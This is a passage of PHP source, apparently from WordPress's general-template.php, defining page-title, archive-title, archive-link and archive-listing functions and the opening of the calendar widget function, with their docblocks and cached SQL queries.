1051}
1052
1053/**
1054 * Displays title tag with content.
1055 *
1056 * @ignore
1057 * @since 4.1.0
1058 * @since 4.4.0 Improved title output replaced `wp_title()`.
1059 * @access private
1060 */
1061function _wp_render_title_tag() {
1062 if ( ! current_theme_supports( 'title-tag' ) ) {
1063 return;
1064 }
1065
1066 echo '<title>' . wp_get_document_title() . '</title>' . "\n";
1067}
1068
1069/**
1070 * Display or retrieve page title for all areas of blog.
1071 *
1072 * By default, the page title will display the separator before the page title,
1073 * so that the blog title will be before the page title. This is not good for
1074 * title display, since the blog title shows up on most tabs and not what is
1075 * important, which is the page that the user is looking at.
1076 *
1077 * There are also SEO benefits to having the blog title after or to the 'right'
1078 * of the page title. However, it is mostly common sense to have the blog title
1079 * to the right with most browsers supporting tabs. You can achieve this by
1080 * using the seplocation parameter and setting the value to 'right'. This change
1081 * was introduced around 2.5.0, in case backward compatibility of themes is
1082 * important.
1083 *
1084 * @since 1.0.0
1085 *
1086 * @global WP_Locale $wp_locale
1087 *
1088 * @param string $sep Optional, default is '»'. How to separate the various items
1089 * within the page title.
1090 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1091 * @param string $seplocation Optional. Direction to display title, 'right'.
1092 * @return string|null String on retrieve, null when displaying.
1093 */
1094function wp_title( $sep = '»', $display = true, $seplocation = '' ) {
1095 global $wp_locale;
1096
1097 $m = get_query_var( 'm' );
1098 $year = get_query_var( 'year' );
1099 $monthnum = get_query_var( 'monthnum' );
1100 $day = get_query_var( 'day' );
1101 $search = get_query_var( 's' );
1102 $title = '';
1103
1104 $t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary
1105
1106 // If there is a post
1107 if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
1108 $title = single_post_title( '', false );
1109 }
1110
1111 // If there's a post type archive
1112 if ( is_post_type_archive() ) {
1113 $post_type = get_query_var( 'post_type' );
1114 if ( is_array( $post_type ) ) {
1115 $post_type = reset( $post_type );
1116 }
1117 $post_type_object = get_post_type_object( $post_type );
1118 if ( ! $post_type_object->has_archive ) {
1119 $title = post_type_archive_title( '', false );
1120 }
1121 }
1122
1123 // If there's a category or tag
1124 if ( is_category() || is_tag() ) {
1125 $title = single_term_title( '', false );
1126 }
1127
1128 // If there's a taxonomy
1129 if ( is_tax() ) {
1130 $term = get_queried_object();
1131 if ( $term ) {
1132 $tax = get_taxonomy( $term->taxonomy );
1133 $title = single_term_title( $tax->labels->name . $t_sep, false );
1134 }
1135 }
1136
1137 // If there's an author
1138 if ( is_author() && ! is_post_type_archive() ) {
1139 $author = get_queried_object();
1140 if ( $author ) {
1141 $title = $author->display_name;
1142 }
1143 }
1144
1145 // Post type archives with has_archive should override terms.
1146 if ( is_post_type_archive() && $post_type_object->has_archive ) {
1147 $title = post_type_archive_title( '', false );
1148 }
1149
1150 // If there's a month
1151 if ( is_archive() && ! empty( $m ) ) {
1152 $my_year = substr( $m, 0, 4 );
1153 $my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
1154 $my_day = intval( substr( $m, 6, 2 ) );
1155 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
1156 }
1157
1158 // If there's a year
1159 if ( is_archive() && ! empty( $year ) ) {
1160 $title = $year;
1161 if ( ! empty( $monthnum ) ) {
1162 $title .= $t_sep . $wp_locale->get_month( $monthnum );
1163 }
1164 if ( ! empty( $day ) ) {
1165 $title .= $t_sep . zeroise( $day, 2 );
1166 }
1167 }
1168
1169 // If it's a search
1170 if ( is_search() ) {
1171 /* translators: 1: separator, 2: search phrase */
1172 $title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
1173 }
1174
1175 // If it's a 404 page
1176 if ( is_404() ) {
1177 $title = __( 'Page not found' );
1178 }
1179
1180 $prefix = '';
1181 if ( ! empty( $title ) ) {
1182 $prefix = " $sep ";
1183 }
1184
1185 /**
1186 * Filters the parts of the page title.
1187 *
1188 * @since 4.0.0
1189 *
1190 * @param array $title_array Parts of the page title.
1191 */
1192 $title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
1193
1194 // Determines position of the separator and direction of the breadcrumb
1195 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
1196 $title_array = array_reverse( $title_array );
1197 $title = implode( " $sep ", $title_array ) . $prefix;
1198 } else {
1199 $title = $prefix . implode( " $sep ", $title_array );
1200 }
1201
1202 /**
1203 * Filters the text of the page title.
1204 *
1205 * @since 2.0.0
1206 *
1207 * @param string $title Page title.
1208 * @param string $sep Title separator.
1209 * @param string $seplocation Location of the separator (left or right).
1210 */
1211 $title = apply_filters( 'wp_title', $title, $sep, $seplocation );
1212
1213 // Send it out
1214 if ( $display ) {
1215 echo $title;
1216 } else {
1217 return $title;
1218 }
1219}
1220
1221/**
1222 * Display or retrieve page title for post.
1223 *
1224 * This is optimized for single.php template file for displaying the post title.
1225 *
1226 * It does not support placing the separator after the title, but by leaving the
1227 * prefix parameter empty, you can set the title separator manually. The prefix
1228 * does not automatically place a space between the prefix, so if there should
1229 * be a space, the parameter value will need to have it at the end.
1230 *
1231 * @since 0.71
1232 *
1233 * @param string $prefix Optional. What to display before the title.
1234 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1235 * @return string|void Title when retrieving.
1236 */
1237function single_post_title( $prefix = '', $display = true ) {
1238 $_post = get_queried_object();
1239
1240 if ( !isset($_post->post_title) )
1241 return;
1242
1243 /**
1244 * Filters the page title for a single post.
1245 *
1246 * @since 0.71
1247 *
1248 * @param string $_post_title The single post page title.
1249 * @param object $_post The current queried object as returned by get_queried_object().
1250 */
1251 $title = apply_filters( 'single_post_title', $_post->post_title, $_post );
1252 if ( $display )
1253 echo $prefix . $title;
1254 else
1255 return $prefix . $title;
1256}
1257
1258/**
1259 * Display or retrieve title for a post type archive.
1260 *
1261 * This is optimized for archive.php and archive-{$post_type}.php template files
1262 * for displaying the title of the post type.
1263 *
1264 * @since 3.1.0
1265 *
1266 * @param string $prefix Optional. What to display before the title.
1267 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1268 * @return string|void Title when retrieving, null when displaying or failure.
1269 */
1270function post_type_archive_title( $prefix = '', $display = true ) {
1271 if ( ! is_post_type_archive() )
1272 return;
1273
1274 $post_type = get_query_var( 'post_type' );
1275 if ( is_array( $post_type ) )
1276 $post_type = reset( $post_type );
1277
1278 $post_type_obj = get_post_type_object( $post_type );
1279
1280 /**
1281 * Filters the post type archive title.
1282 *
1283 * @since 3.1.0
1284 *
1285 * @param string $post_type_name Post type 'name' label.
1286 * @param string $post_type Post type.
1287 */
1288 $title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
1289
1290 if ( $display )
1291 echo $prefix . $title;
1292 else
1293 return $prefix . $title;
1294}
1295
1296/**
1297 * Display or retrieve page title for category archive.
1298 *
1299 * Useful for category template files for displaying the category page title.
1300 * The prefix does not automatically place a space between the prefix, so if
1301 * there should be a space, the parameter value will need to have it at the end.
1302 *
1303 * @since 0.71
1304 *
1305 * @param string $prefix Optional. What to display before the title.
1306 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1307 * @return string|void Title when retrieving.
1308 */
1309function single_cat_title( $prefix = '', $display = true ) {
1310 return single_term_title( $prefix, $display );
1311}
1312
1313/**
1314 * Display or retrieve page title for tag post archive.
1315 *
1316 * Useful for tag template files for displaying the tag page title. The prefix
1317 * does not automatically place a space between the prefix, so if there should
1318 * be a space, the parameter value will need to have it at the end.
1319 *
1320 * @since 2.3.0
1321 *
1322 * @param string $prefix Optional. What to display before the title.
1323 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1324 * @return string|void Title when retrieving.
1325 */
1326function single_tag_title( $prefix = '', $display = true ) {
1327 return single_term_title( $prefix, $display );
1328}
1329
1330/**
1331 * Display or retrieve page title for taxonomy term archive.
1332 *
1333 * Useful for taxonomy term template files for displaying the taxonomy term page title.
1334 * The prefix does not automatically place a space between the prefix, so if there should
1335 * be a space, the parameter value will need to have it at the end.
1336 *
1337 * @since 3.1.0
1338 *
1339 * @param string $prefix Optional. What to display before the title.
1340 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1341 * @return string|void Title when retrieving.
1342 */
1343function single_term_title( $prefix = '', $display = true ) {
1344 $term = get_queried_object();
1345
1346 if ( !$term )
1347 return;
1348
1349 if ( is_category() ) {
1350 /**
1351 * Filters the category archive page title.
1352 *
1353 * @since 2.0.10
1354 *
1355 * @param string $term_name Category name for archive being displayed.
1356 */
1357 $term_name = apply_filters( 'single_cat_title', $term->name );
1358 } elseif ( is_tag() ) {
1359 /**
1360 * Filters the tag archive page title.
1361 *
1362 * @since 2.3.0
1363 *
1364 * @param string $term_name Tag name for archive being displayed.
1365 */
1366 $term_name = apply_filters( 'single_tag_title', $term->name );
1367 } elseif ( is_tax() ) {
1368 /**
1369 * Filters the custom taxonomy archive page title.
1370 *
1371 * @since 3.1.0
1372 *
1373 * @param string $term_name Term name for archive being displayed.
1374 */
1375 $term_name = apply_filters( 'single_term_title', $term->name );
1376 } else {
1377 return;
1378 }
1379
1380 if ( empty( $term_name ) )
1381 return;
1382
1383 if ( $display )
1384 echo $prefix . $term_name;
1385 else
1386 return $prefix . $term_name;
1387}
1388
1389/**
1390 * Display or retrieve page title for post archive based on date.
1391 *
1392 * Useful for when the template only needs to display the month and year,
1393 * if either are available. The prefix does not automatically place a space
1394 * between the prefix, so if there should be a space, the parameter value
1395 * will need to have it at the end.
1396 *
1397 * @since 0.71
1398 *
1399 * @global WP_Locale $wp_locale
1400 *
1401 * @param string $prefix Optional. What to display before the title.
1402 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1403 * @return string|void Title when retrieving.
1404 */
1405function single_month_title($prefix = '', $display = true ) {
1406 global $wp_locale;
1407
1408 $m = get_query_var('m');
1409 $year = get_query_var('year');
1410 $monthnum = get_query_var('monthnum');
1411
1412 if ( !empty($monthnum) && !empty($year) ) {
1413 $my_year = $year;
1414 $my_month = $wp_locale->get_month($monthnum);
1415 } elseif ( !empty($m) ) {
1416 $my_year = substr($m, 0, 4);
1417 $my_month = $wp_locale->get_month(substr($m, 4, 2));
1418 }
1419
1420 if ( empty($my_month) )
1421 return false;
1422
1423 $result = $prefix . $my_month . $prefix . $my_year;
1424
1425 if ( !$display )
1426 return $result;
1427 echo $result;
1428}
1429
1430/**
1431 * Display the archive title based on the queried object.
1432 *
1433 * @since 4.1.0
1434 *
1435 * @see get_the_archive_title()
1436 *
1437 * @param string $before Optional. Content to prepend to the title. Default empty.
1438 * @param string $after Optional. Content to append to the title. Default empty.
1439 */
1440function the_archive_title( $before = '', $after = '' ) {
1441 $title = get_the_archive_title();
1442
1443 if ( ! empty( $title ) ) {
1444 echo $before . $title . $after;
1445 }
1446}
1447
1448/**
1449 * Retrieve the archive title based on the queried object.
1450 *
1451 * @since 4.1.0
1452 *
1453 * @return string Archive title.
1454 */
1455function get_the_archive_title() {
1456 if ( is_category() ) {
1457 $title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
1458 } elseif ( is_tag() ) {
1459 $title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
1460 } elseif ( is_author() ) {
1461 $title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
1462 } elseif ( is_year() ) {
1463 $title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
1464 } elseif ( is_month() ) {
1465 $title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
1466 } elseif ( is_day() ) {
1467 $title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
1468 } elseif ( is_tax( 'post_format' ) ) {
1469 if ( is_tax( 'post_format', 'post-format-aside' ) ) {
1470 $title = _x( 'Asides', 'post format archive title' );
1471 } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
1472 $title = _x( 'Galleries', 'post format archive title' );
1473 } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
1474 $title = _x( 'Images', 'post format archive title' );
1475 } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
1476 $title = _x( 'Videos', 'post format archive title' );
1477 } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
1478 $title = _x( 'Quotes', 'post format archive title' );
1479 } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
1480 $title = _x( 'Links', 'post format archive title' );
1481 } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
1482 $title = _x( 'Statuses', 'post format archive title' );
1483 } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
1484 $title = _x( 'Audio', 'post format archive title' );
1485 } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
1486 $title = _x( 'Chats', 'post format archive title' );
1487 }
1488 } elseif ( is_post_type_archive() ) {
1489 $title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
1490 } elseif ( is_tax() ) {
1491 $tax = get_taxonomy( get_queried_object()->taxonomy );
1492 /* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
1493 $title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
1494 } else {
1495 $title = __( 'Archives' );
1496 }
1497
1498 /**
1499 * Filters the archive title.
1500 *
1501 * @since 4.1.0
1502 *
1503 * @param string $title Archive title to be displayed.
1504 */
1505 return apply_filters( 'get_the_archive_title', $title );
1506}
1507
1508/**
1509 * Display category, tag, or term description.
1510 *
1511 * @since 4.1.0
1512 *
1513 * @see get_the_archive_description()
1514 *
1515 * @param string $before Optional. Content to prepend to the description. Default empty.
1516 * @param string $after Optional. Content to append to the description. Default empty.
1517 */
1518function the_archive_description( $before = '', $after = '' ) {
1519 $description = get_the_archive_description();
1520 if ( $description ) {
1521 echo $before . $description . $after;
1522 }
1523}
1524
1525/**
1526 * Retrieve category, tag, or term description.
1527 *
1528 * @since 4.1.0
1529 *
1530 * @return string Archive description.
1531 */
1532function get_the_archive_description() {
1533 /**
1534 * Filters the archive description.
1535 *
1536 * @since 4.1.0
1537 *
1538 * @see term_description()
1539 *
1540 * @param string $description Archive description to be displayed.
1541 */
1542 return apply_filters( 'get_the_archive_description', term_description() );
1543}
1544
1545/**
1546 * Retrieve archive link content based on predefined or custom code.
1547 *
1548 * The format can be one of four styles. The 'link' for head element, 'option'
1549 * for use in the select element, 'html' for use in list (either ol or ul HTML
1550 * elements). Custom content is also supported using the before and after
1551 * parameters.
1552 *
1553 * The 'link' format uses the `<link>` HTML element with the **archives**
1554 * relationship. The before and after parameters are not used. The text
1555 * parameter is used to describe the link.
1556 *
1557 * The 'option' format uses the option HTML element for use in select element.
1558 * The value is the url parameter and the before and after parameters are used
1559 * between the text description.
1560 *
1561 * The 'html' format, which is the default, uses the li HTML element for use in
1562 * the list HTML elements. The before parameter is before the link and the after
1563 * parameter is after the closing link.
1564 *
1565 * The custom format uses the before parameter before the link ('a' HTML
1566 * element) and the after parameter after the closing link tag. If the above
1567 * three values for the format are not used, then custom format is assumed.
1568 *
1569 * @since 1.0.0
1570 *
1571 * @param string $url URL to archive.
1572 * @param string $text Archive text description.
1573 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
1574 * @param string $before Optional. Content to prepend to the description. Default empty.
1575 * @param string $after Optional. Content to append to the description. Default empty.
1576 * @return string HTML link content for archive.
1577 */
1578function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
1579 $text = wptexturize($text);
1580 $url = esc_url($url);
1581
1582 if ('link' == $format)
1583 $link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
1584 elseif ('option' == $format)
1585 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
1586 elseif ('html' == $format)
1587 $link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
1588 else // custom
1589 $link_html = "\t$before<a href='$url'>$text</a>$after\n";
1590
1591 /**
1592 * Filters the archive link content.
1593 *
1594 * @since 2.6.0
1595 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
1596 *
1597 * @param string $link_html The archive HTML link content.
1598 * @param string $url URL to archive.
1599 * @param string $text Archive text description.
1600 * @param string $format Link format. Can be 'link', 'option', 'html', or custom.
1601 * @param string $before Content to prepend to the description.
1602 * @param string $after Content to append to the description.
1603 */
1604 return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after );
1605}
1606
1607/**
1608 * Display archive links based on type and format.
1609 *
1610 * @since 1.2.0
1611 * @since 4.4.0 $post_type arg was added.
1612 *
1613 * @see get_archives_link()
1614 *
1615 * @global wpdb $wpdb
1616 * @global WP_Locale $wp_locale
1617 *
1618 * @param string|array $args {
1619 * Default archive links arguments. Optional.
1620 *
1621 * @type string $type Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
1622 * 'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
1623 * display the same archive link list as well as post titles instead
1624 * of displaying dates. The difference between the two is that 'alpha'
1625 * will order by post title and 'postbypost' will order by post date.
1626 * Default 'monthly'.
1627 * @type string|int $limit Number of links to limit the query to. Default empty (no limit).
1628 * @type string $format Format each link should take using the $before and $after args.
1629 * Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
1630 * (`<li>` tag), or a custom format, which generates a link anchor
1631 * with $before preceding and $after succeeding. Default 'html'.
1632 * @type string $before Markup to prepend to the beginning of each link. Default empty.
1633 * @type string $after Markup to append to the end of each link. Default empty.
1634 * @type bool $show_post_count Whether to display the post count alongside the link. Default false.
1635 * @type bool|int $echo Whether to echo or return the links list. Default 1|true to echo.
1636 * @type string $order Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
1637 * Default 'DESC'.
1638 * @type string $post_type Post type. Default 'post'.
1639 * }
1640 * @return string|void String when retrieving.
1641 */
1642function wp_get_archives( $args = '' ) {
1643 global $wpdb, $wp_locale;
1644
1645 $defaults = array(
1646 'type' => 'monthly', 'limit' => '',
1647 'format' => 'html', 'before' => '',
1648 'after' => '', 'show_post_count' => false,
1649 'echo' => 1, 'order' => 'DESC',
1650 'post_type' => 'post'
1651 );
1652
1653 $r = wp_parse_args( $args, $defaults );
1654
1655 $post_type_object = get_post_type_object( $r['post_type'] );
1656 if ( ! is_post_type_viewable( $post_type_object ) ) {
1657 return;
1658 }
1659 $r['post_type'] = $post_type_object->name;
1660
1661 if ( '' == $r['type'] ) {
1662 $r['type'] = 'monthly';
1663 }
1664
1665 if ( ! empty( $r['limit'] ) ) {
1666 $r['limit'] = absint( $r['limit'] );
1667 $r['limit'] = ' LIMIT ' . $r['limit'];
1668 }
1669
1670 $order = strtoupper( $r['order'] );
1671 if ( $order !== 'ASC' ) {
1672 $order = 'DESC';
1673 }
1674
1675 // this is what will separate dates on weekly archive links
1676 $archive_week_separator = '–';
1677
1678 $sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
1679
1680 /**
1681 * Filters the SQL WHERE clause for retrieving archives.
1682 *
1683 * @since 2.2.0
1684 *
1685 * @param string $sql_where Portion of SQL query containing the WHERE clause.
1686 * @param array $r An array of default arguments.
1687 */
1688 $where = apply_filters( 'getarchives_where', $sql_where, $r );
1689
1690 /**
1691 * Filters the SQL JOIN clause for retrieving archives.
1692 *
1693 * @since 2.2.0
1694 *
1695 * @param string $sql_join Portion of SQL query containing JOIN clause.
1696 * @param array $r An array of default arguments.
1697 */
1698 $join = apply_filters( 'getarchives_join', '', $r );
1699
1700 $output = '';
1701
1702 $last_changed = wp_cache_get( 'last_changed', 'posts' );
1703 if ( ! $last_changed ) {
1704 $last_changed = microtime();
1705 wp_cache_set( 'last_changed', $last_changed, 'posts' );
1706 }
1707
1708 $limit = $r['limit'];
1709
1710 if ( 'monthly' == $r['type'] ) {
1711 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
1712 $key = md5( $query );
1713 $key = "wp_get_archives:$key:$last_changed";
1714 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1715 $results = $wpdb->get_results( $query );
1716 wp_cache_set( $key, $results, 'posts' );
1717 }
1718 if ( $results ) {
1719 $after = $r['after'];
1720 foreach ( (array) $results as $result ) {
1721 $url = get_month_link( $result->year, $result->month );
1722 if ( 'post' !== $r['post_type'] ) {
1723 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1724 }
1725 /* translators: 1: month name, 2: 4-digit year */
1726 $text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
1727 if ( $r['show_post_count'] ) {
1728 $r['after'] = ' (' . $result->posts . ')' . $after;
1729 }
1730 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1731 }
1732 }
1733 } elseif ( 'yearly' == $r['type'] ) {
1734 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
1735 $key = md5( $query );
1736 $key = "wp_get_archives:$key:$last_changed";
1737 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1738 $results = $wpdb->get_results( $query );
1739 wp_cache_set( $key, $results, 'posts' );
1740 }
1741 if ( $results ) {
1742 $after = $r['after'];
1743 foreach ( (array) $results as $result) {
1744 $url = get_year_link( $result->year );
1745 if ( 'post' !== $r['post_type'] ) {
1746 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1747 }
1748 $text = sprintf( '%d', $result->year );
1749 if ( $r['show_post_count'] ) {
1750 $r['after'] = ' (' . $result->posts . ')' . $after;
1751 }
1752 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1753 }
1754 }
1755 } elseif ( 'daily' == $r['type'] ) {
1756 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
1757 $key = md5( $query );
1758 $key = "wp_get_archives:$key:$last_changed";
1759 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1760 $results = $wpdb->get_results( $query );
1761 wp_cache_set( $key, $results, 'posts' );
1762 }
1763 if ( $results ) {
1764 $after = $r['after'];
1765 foreach ( (array) $results as $result ) {
1766 $url = get_day_link( $result->year, $result->month, $result->dayofmonth );
1767 if ( 'post' !== $r['post_type'] ) {
1768 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1769 }
1770 $date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
1771 $text = mysql2date( get_option( 'date_format' ), $date );
1772 if ( $r['show_post_count'] ) {
1773 $r['after'] = ' (' . $result->posts . ')' . $after;
1774 }
1775 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1776 }
1777 }
1778 } elseif ( 'weekly' == $r['type'] ) {
1779 $week = _wp_mysql_week( '`post_date`' );
1780 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
1781 $key = md5( $query );
1782 $key = "wp_get_archives:$key:$last_changed";
1783 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1784 $results = $wpdb->get_results( $query );
1785 wp_cache_set( $key, $results, 'posts' );
1786 }
1787 $arc_w_last = '';
1788 if ( $results ) {
1789 $after = $r['after'];
1790 foreach ( (array) $results as $result ) {
1791 if ( $result->week != $arc_w_last ) {
1792 $arc_year = $result->yr;
1793 $arc_w_last = $result->week;
1794 $arc_week = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
1795 $arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
1796 $arc_week_end = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
1797 $url = add_query_arg( array( 'm' => $arc_year, 'w' => $result->week, ), home_url( '/' ) );
1798 if ( 'post' !== $r['post_type'] ) {
1799 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1800 }
1801 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1802 if ( $r['show_post_count'] ) {
1803 $r['after'] = ' (' . $result->posts . ')' . $after;
1804 }
1805 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1806 }
1807 }
1808 }
1809 } elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
1810 $orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
1811 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1812 $key = md5( $query );
1813 $key = "wp_get_archives:$key:$last_changed";
1814 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1815 $results = $wpdb->get_results( $query );
1816 wp_cache_set( $key, $results, 'posts' );
1817 }
1818 if ( $results ) {
1819 foreach ( (array) $results as $result ) {
1820 if ( $result->post_date != '0000-00-00 00:00:00' ) {
1821 $url = get_permalink( $result );
1822 if ( $result->post_title ) {
1823 /** This filter is documented in wp-includes/post-template.php */
1824 $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
1825 } else {
1826 $text = $result->ID;
1827 }
1828 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1829 }
1830 }
1831 }
1832 }
1833 if ( $r['echo'] ) {
1834 echo $output;
1835 } else {
1836 return $output;
1837 }
1838}
1839
1840/**
1841 * Get number of days since the start of the week.
1842 *
1843 * @since 1.5.0
1844 *
1845 * @param int $num Number of day.
1846 * @return int Days since the start of the week.
1847 */
1848function calendar_week_mod($num) {
1849 $base = 7;
1850 return ($num - $base*floor($num/$base));
1851}
1852
1853/**
1854 * Display calendar with days that have posts as links.
1855 *
1856 * The calendar is cached, which will be retrieved, if it exists. If there are
1857 * no posts for the month, then it will not be displayed.
1858 *
1859 * @since 1.0.0
1860 *
1861 * @global wpdb $wpdb
1862 * @global int $m
1863 * @global int $monthnum
1864 * @global int $year
1865 * @global WP_Locale $wp_locale
1866 * @global array $posts
1867 *
1868 * @param bool $initial Optional, default is true. Use initial calendar names.
1869 * @param bool $echo Optional, default is true. Set to false for return.
1870 * @return string|void String when retrieving.
1871 */
1872function get_calendar( $initial = true, $echo = true ) {
1873 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1874
1875 $key = md5( $m . $monthnum . $year );
1876 $cache = wp_cache_get( 'get_calendar', 'calendar' );
1877
1878 if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
1879 /** This filter is documented in wp-includes/general-template.php */
1880 $output = apply_filters( 'get_calendar', $cache[ $key ] );
1881
1882 if ( $echo ) {
1883 echo $output;
1884 return;
1885 }
1886
1887 return $output;
1888 }
1889
1890 if ( ! is_array( $cache ) ) {
1891 $cache = array();
1892 }
1893
1894 // Quick check. If we have no posts at all, abort!
1895 if ( ! $posts ) {
1896 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1897 if ( ! $gotsome ) {
1898 $cache[ $key ] = '';
1899 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1900 return;
1901 }
1902 }
1903
1904 if ( isset( $_GET['w'] ) ) {
1905 $w = (int) $_GET['w'];
1906 }
1907 // week_begins = 0 stands for Sunday
1908 $week_begins = (int) get_option( 'start_of_week' );
1909 $ts = current_time( 'timestamp' );
1910
1911 // Let's figure out when we are
1912 if ( ! empty( $monthnum ) && ! empty( $year ) ) {
1913 $thismonth = zeroise( intval( $monthnum ), 2 );
1914 $thisyear = (int) $year;
1915 } elseif ( ! empty( $w ) ) {
1916 // We need to get the month from MySQL
1917 $thisyear = (int) substr( $m, 0, 4 );
1918 //it seems MySQL's weeks disagree with PHP's
1919 $d = ( ( $w - 1 ) * 7 ) + 6;
1920 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1921 } elseif ( ! empty( $m ) ) {
1922 $thisyear = (int) substr( $m, 0, 4 );
1923 if ( strlen( $m ) < 6 ) {
1924 $thismonth = '01';
1925 } else {
1926 $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
1927 }
1928 } else {
1929 $thisyear = gmdate( 'Y', $ts );
1930 $thismonth = gmdate( 'm', $ts );
1931 }
1932
1933 $unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
1934 $last_day = date( 't', $unixmonth );
1935
1936 // Get the next and previous month and year with at least one post
1937 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1938 FROM $wpdb->posts
1939 WHERE post_date < '$thisyear-$thismonth-01'
1940 AND post_type = 'post' AND post_status = 'publish'
1941 ORDER BY post_date DESC
1942 LIMIT 1");
1943 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1944 FROM $wpdb->posts
1945 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1946 AND post_type = 'post' AND post_status = 'publish'
1947 ORDER BY post_date ASC
1948 LIMIT 1");
1949
1950 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1951 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
